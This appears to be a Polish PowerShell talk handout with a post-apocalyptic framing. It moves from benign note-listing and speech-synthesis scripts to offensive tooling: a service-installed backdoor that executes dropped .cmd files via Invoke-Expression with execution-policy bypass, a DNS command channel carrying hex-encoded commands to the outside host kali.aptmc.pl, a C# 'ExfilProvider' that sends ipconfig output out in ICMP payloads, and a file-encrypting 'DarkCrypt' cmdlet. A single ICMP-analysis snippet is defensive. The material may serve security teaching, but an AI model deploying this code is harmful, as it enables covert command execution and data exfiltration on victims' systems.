PowerShell: Level hard - czyli postapokaliptyczne poszukiwanie prawdy

Paweł Maziarz

Lista plików .txt

Get-ChildItem -Recurse -File -Include '*.txt' .\notes\ gci -r -file -i '*.txt' .\notes\ (gci -r -file -i '*.txt' .\notes\).Length gci -r -file -i '*.txt' .\notes\ | measure % -pv year {2024..2059}|% -pv month {1..12}|% {mkdir ("{0}/{1:d2}" -f $year,$month)}

Syntaza mowy

Add-Type -AssemblyName System.Speech [Speech.Synthesis.SpeechSynthesizer]::new().Speak("Cześć, Konfidens!") Add-Type -AssemblyName System.Speech gci -r -file -i *.txt .\notes\ | % { [Speech.Synthesis.SpeechSynthesizer]::new().Speak("$($_.Name): $(gc -raw $_)")} gci -r -file -i '*.txt' .\notes |% -b { Add-Type -AssemblyName System.Speech; $synth = [System.Speech.Synthesis.SpeechSynthesizer]::new() } -p { try{$s=$synth.SpeakAsync("Notatka $($_.Name): $(gc -Raw $_)"); while(!$s.IsCompleted){}} finally{ $synth.SpeakAsyncCancelAll()} }

Invoke-NotesSpeaker.ps1 - odczytywanie notatek z zapamiętaniem ostatnio przeczytanej

Add-Type -AssemblyName System.speech $synth = [System.Speech.Synthesis.SpeechSynthesizer]::new() $lastSpokenFilePath = ".lastSpokenFile" $files = Get-ChildItem -Recurse -File -Include '*.txt' | Sort-Object -Property Name $lastSpokenFile = Get-Content $lastSpokenFilePath -ea 0 $currentIndex = 0 if ($lastSpokenFile) { for (;$currentIndex -lt $files.Length -and $files[$currentIndex].FullName -ne $lastSpokenFile; $currentIndex++) {} if ($currentIndex -ge $files.Length) { $currentIndex = 0 } } $synth.Speak("Liczba notatek to $($files.Length), zaczynam od notatki nr $currentIndex") try { Register-ObjectEvent $synth "SpeakCompleted" $files[$currentIndex..($files.Length-1)] | % { $content = Get-Content -Raw $_ $_.FullName | Out-File -Force $lastSpokenFilePath Write-Output "Odczytuje notatke $($_.Name)" $synth.SpeakAsync("Notatka $($_.Name)") | Out-Null Wait-Event | Remove-Event [void]$synth.SpeakAsync($content) Wait-Event | Remove-Event } } finally { $synth.SpeakAsyncCancelAll() Write-Output "Done" Get-Event | where Sender -like '*SpeechSynth*' | Remove-Event Get-EventSubscriber | where EventName -eq "SpeakCompleted" | Unregister-Event }

DarkExecutor.ps1 - monitorowanie nowych plików + execute

<# .SYNOPSIS Monitoruj okreslony katalog i uruchamiaj skrypty, ktore do niego wpadaja. .DESCRIPTION Przykladowa instalacja z wykorzystaniem nssm (nssm.cc): $PowerShell = (Get-Command powershell).Source $ServiceName = "Dark Executor" $ServiceScript = "C:\Users\drg\Desktop\srv\DarkExecutor.ps1" $PowerShellArgs = "-ep bypass -nop -f $ServiceScript" nssm install $ServiceName $PowerShell $PowerShellArgs nssm status $ServiceName Set-Service $ServiceName -StartupType Automatic Start-Service $ServiceName Get-Service $ServiceName #> $path = "C:\Users\drg\Desktop\srv\exc" $filter = "*.cmd" $watcher = [IO.FileSystemWatcher]::new((Get-Item $path), $filter) $watcher.IncludeSubdirectories = $true $watcher.EnableRaisingEvents = $true $executeAction = { $filepath = $Event.SourceEventArgs.FullPath try { $content = Get-Content -Raw $filepath -ea 0 $result = (Invoke-Expression $content -ea 0) *>&1 | Out-String } catch { $result = $_.Exception } $result | Out-File "$($filepath).result" Move-Item $filepath "$($filepath).done" } $job = Register-ObjectEvent $watcher "Created" -Action $executeAction -SourceIdentifier "NewCMDFile" try { While(1) { Wait-Event } } finally { Unregister-Event -SourceIdentifier "NewCMDFile" Stop-Job $job -PassThru | Remove-Job $watcher.IncludeSubdirectories = $false $watcher.Dispose() }

NSSM - przykładowa instalacja skryptu PowerShell jako usługi

$PowerShell = (Get-Command powershell).Source $ServiceName = "Dark Executor" $ServiceScript = "C:\Users\drg\Desktop\srv\DarkExecutor.ps1" $PowerShellArgs = "-ep bypass -nop -f $ServiceScript" nssm install $ServiceName $PowerShell $PowerShellArgs nssm status $ServiceName Set-Service $ServiceName -StartupType Automatic Start-Service $ServiceName Get-Service $ServiceName

Serwer DNS w PowerShellu

$port = 53 $clientEndpoint = [Net.IPEndPoint]::new([IPAddress]::Any, $port) $udpClient = [Net.Sockets.UdpClient]::new($port) $udpClient.Client.SetSocketOption(65535, [Net.Sockets.SocketOptionName]::ReuseAddress, $True) $udpClient.Client.ReceiveTimeout = 3000 Write-Host "DNS server started. Listening on port $port.." while ($true) { Start-Sleep -Milliseconds 100 if($udpClient.Available) { $data = $udpClient.Receive([ref]$clientEndpoint) $query = [System.Text.Encoding]::ASCII.GetString($data, 12, $data.Length - 12) -replace "[\W]","" Write-Host "Client IP: ", $clientEndpoint.Address.IPAddressToString, " -> $query" if ($query -match "dark(.*)seeker") { $hexCmd = $Matches[1] $cmd = -join ($hexCmd -split "(.{2})" -match "."|% { [char][byte]"0x$_" }) Write-Host "Sending command $cmd to execute..." } $responsePacket = $data.Clone() $responsePacket[2] = 129 # Set the response flag $responsePacket[7] = 1 # Set the answer count to 1 $responseAnswer = @( 192, 12, # Name pointer 0, 1, # Type: A 0, 1, # Class: IN 0, 0, 0, 0, # Time to live 0, 4, # Data length 127, 0, 0, 1 # Data: 127.0.0.1 ) $responsePacket += $responseAnswer [void]$udpClient.Send($responsePacket, $responsePacket.Length, $clientEndpoint) } }

Wysyłanie komend jako string HEX do serwera DNS:

filter thx { ($_.ToCharArray() | % { "{0:X2}" -f [int]$_ }) -join "" } Resolve-DnsName "dark.$("whoami"|thx).seeker.local" -Server kali.aptmc.pl -Type A

Tworzenie własnego PSProvidera

dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org dotnet new classlib --framework netstandard2.0 --name ExfilProvider cd ExfilProvider dotnet add package PowerShellStandard.Library dotnet build #lub dotnet publish Import-Module .\bin\Debug\netstandard2.0\ExfilProvider.dll Get-PsProvider New-Item -Path exfil:kali.aptmc.pl -Value (ipconfig|out-string)

Przykładowy provider

using System; using System.Management.Automation; using System.Management.Automation.Provider; using System.Collections.ObjectModel; using System.Net.NetworkInformation; namespace ExfilProvider { [CmdletProvider("ExfilProvider", ProviderCapabilities.None)] public class MyPowerShellProvider : NavigationCmdletProvider { protected override Collection<PSDriveInfo> InitializeDefaultDrives() { PSDriveInfo drive = new PSDriveInfo("exfil", this.ProviderInfo, "", "", null); Collection<PSDriveInfo> drives = new Collection<PSDriveInfo>() { drive }; return drives; } protected override void GetChildItems(string path, bool recurse) { WriteItemObject("ICMP", "icmp", true); } protected override void NewItem(string path, string itemTypeName, object newItemValue) { SendPing(path, newItemValue.ToString()); WriteItemObject(newItemValue, path, false); } protected override bool IsValidPath(string path) { return true; } protected override bool ItemExists(string path) { return true; } protected override bool IsItemContainer(string path) { return true; } protected void SendPing(string host, string payload) { Ping pingSender = new Ping(); PingOptions options = new PingOptions(); options.DontFragment = true; options.Ttl = 64; byte[] buffer = System.Text.Encoding.ASCII.GetBytes(payload); int timeout = 120; try { PingReply reply = pingSender.Send(host, timeout, buffer, options); if (reply.Status == IPStatus.Success) { WriteVerbose("Ping succeeded."); WriteVerbose($"RoundTrip time: {reply.RoundtripTime}ms"); WriteVerbose($"Time to live: {reply.Options.Ttl}"); } else { WriteVerbose($"Ping failed: {reply.Status}"); } } catch (PingException ex) { WriteVerbose($"Ping failed: {ex.Message}"); } } } }

Analiza pingów

& "C:\Program Files\Wireshark\tshark.exe" -i Wi-Fi -l -T ek  "icmp[0]=8" | % {     $pkt = ($_ | ConvertFrom-Json)     if ($pkt.layers.icmp.data.data_data_data) {         $payload = -join ($pkt.layers.icmp.data.data_data_data -split ":" | % { [char][byte]"0x$_" })         $suspiciousCount = 0;         for ($i = 0; $i -lt $payload.Length - 1; $i++) {             if (($payload[$i + 1] - $payload[$i]) -ne 1) {                 $suspiciousCount++             }         }         $suspiciousFactor = [int]($suspiciousCount / $payload.Length * 100)         $pkt.layers.ip.ip_ip_src + ": length=$($payload.Length), suspiciousFactor: $suspiciousFactor"         Write-Verbose $payload     } }

Tworzenie własnego cmdleta

dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org dotnet new classlib --framework netstandard2.0 --name DarkCrypt dotnet add package PowerShellStandard.Library dotnet build # lub dotnet publish Import-Module .\bin\Debug\netstandard2.0\DarkCrypt.dll Get-Module DarkCrypt

Cmdlet szyfrujący i deszyfrujący pliki

/* (c) 2059 Dark Seeker */ using System; using System.IO; using System.Text; using System.Security; using System.Management.Automation; using System.Security.Cryptography; namespace DarkCrypt { [Cmdlet(VerbsCommon.Lock, "DarkFile")] public class InvokeDarkEncryptFile : Cmdlet { [Alias("FileName")] [Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true, ValueFromPipelineByPropertyName = true)] public string Path { get; set; } [Parameter(Position = 1, ValueFromPipelineByPropertyName = true)] public string Suffix { get; set; } = ".darkcrypted"; [Parameter(Position = 2, ValueFromPipelineByPropertyName = true)] public string Passphrase { set; get; } [Parameter(Position = 3, ValueFromPipelineByPropertyName = true)] public string AdditionalInfo { set; get; } = "Plik zaszyfrowany DarkCrypterem"; protected override void ProcessRecord() { WriteVerbose("Encrypting file " + Path); FileEncryptor.EncryptFile(Path, Suffix, Passphrase, AdditionalInfo); } } [Cmdlet(VerbsCommon.Unlock, "DarkFile")] public class InvokeDarkDecryptFile : Cmdlet { [Alias("FileName")] [Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true, ValueFromPipelineByPropertyName = true)] public string Path { get; set; } [Parameter(Position = 1, ValueFromPipelineByPropertyName = true)] public string Suffix { get; set; } = ".darkcrypted"; [Parameter(Position = 2, ValueFromPipelineByPropertyName = true)] public string Passphrase { get; set; } protected override void ProcessRecord() { WriteVerbose("Decrypting file " + Path); FileEncryptor.DecryptFile(Path, Suffix, Passphrase); } } public static class FileEncryptor { public static void EncryptFile(string filePath, string suffix, string passphrase, string additionalInfo) { string encryptedFilePath = filePath + suffix; using (Aes aes = Aes.Create()) { byte[] salt = GenerateSalt(); aes.Key = GenerateKey(passphrase, salt, aes.KeySize); aes.GenerateIV(); using (FileStream inputFileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) { using (FileStream outputFileStream = new FileStream(encryptedFilePath, FileMode.Create, FileAccess.Write)) { using (StreamWriter writer = new StreamWriter(outputFileStream, Encoding.ASCII, 1024, true)) { writer.WriteLine(additionalInfo); } outputFileStream.Write(salt, 0, salt.Length); outputFileStream.Write(aes.IV, 0, aes.IV.Length); using (CryptoStream cryptoStream = new CryptoStream(outputFileStream, aes.CreateEncryptor(aes.Key, aes.IV), CryptoStreamMode.Write)) { inputFileStream.CopyTo(cryptoStream); } } } } } public static void DecryptFile(string encryptedFilePath, string suffix, string passphrase) { string decryptedFilePath = encryptedFilePath.Replace(suffix, ""); using (FileStream inputFileStream = new FileStream(encryptedFilePath, FileMode.Open, FileAccess.Read)) { /* skipping additional info*/ while (inputFileStream.ReadByte() != '\n') { } byte[] salt = new byte[32]; inputFileStream.Read(salt, 0, salt.Length); using (Aes aes = Aes.Create()) { aes.Key = GenerateKey(passphrase, salt, aes.KeySize); byte[] iv = new byte[aes.IV.Length]; inputFileStream.Read(iv, 0, iv.Length); using (FileStream outputFileStream = new FileStream(decryptedFilePath, FileMode.Create, FileAccess.Write)) { using (CryptoStream cryptoStream = new CryptoStream(outputFileStream, aes.CreateDecryptor(aes.Key, iv), CryptoStreamMode.Write)) { byte[] buffer = new byte[4096]; int bytesRead; while ((bytesRead = inputFileStream.Read(buffer, 0, buffer.Length)) > 0) { cryptoStream.Write(buffer, 0, bytesRead); } cryptoStream.FlushFinalBlock(); } } } } } private static byte[] GenerateKey(string passphrase, byte[] salt, int keySize) { const int Iterations = 10000; using (Rfc2898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(passphrase, salt, Iterations)) { return pbkdf2.GetBytes(keySize / 8); } } private static byte[] GenerateSalt() { const int SaltSize = 32; using (RNGCryptoServiceProvider rngCsp = new RNGCryptoServiceProvider()) { byte[] salt = new byte[SaltSize]; rngCsp.GetBytes(salt); return salt; } } } }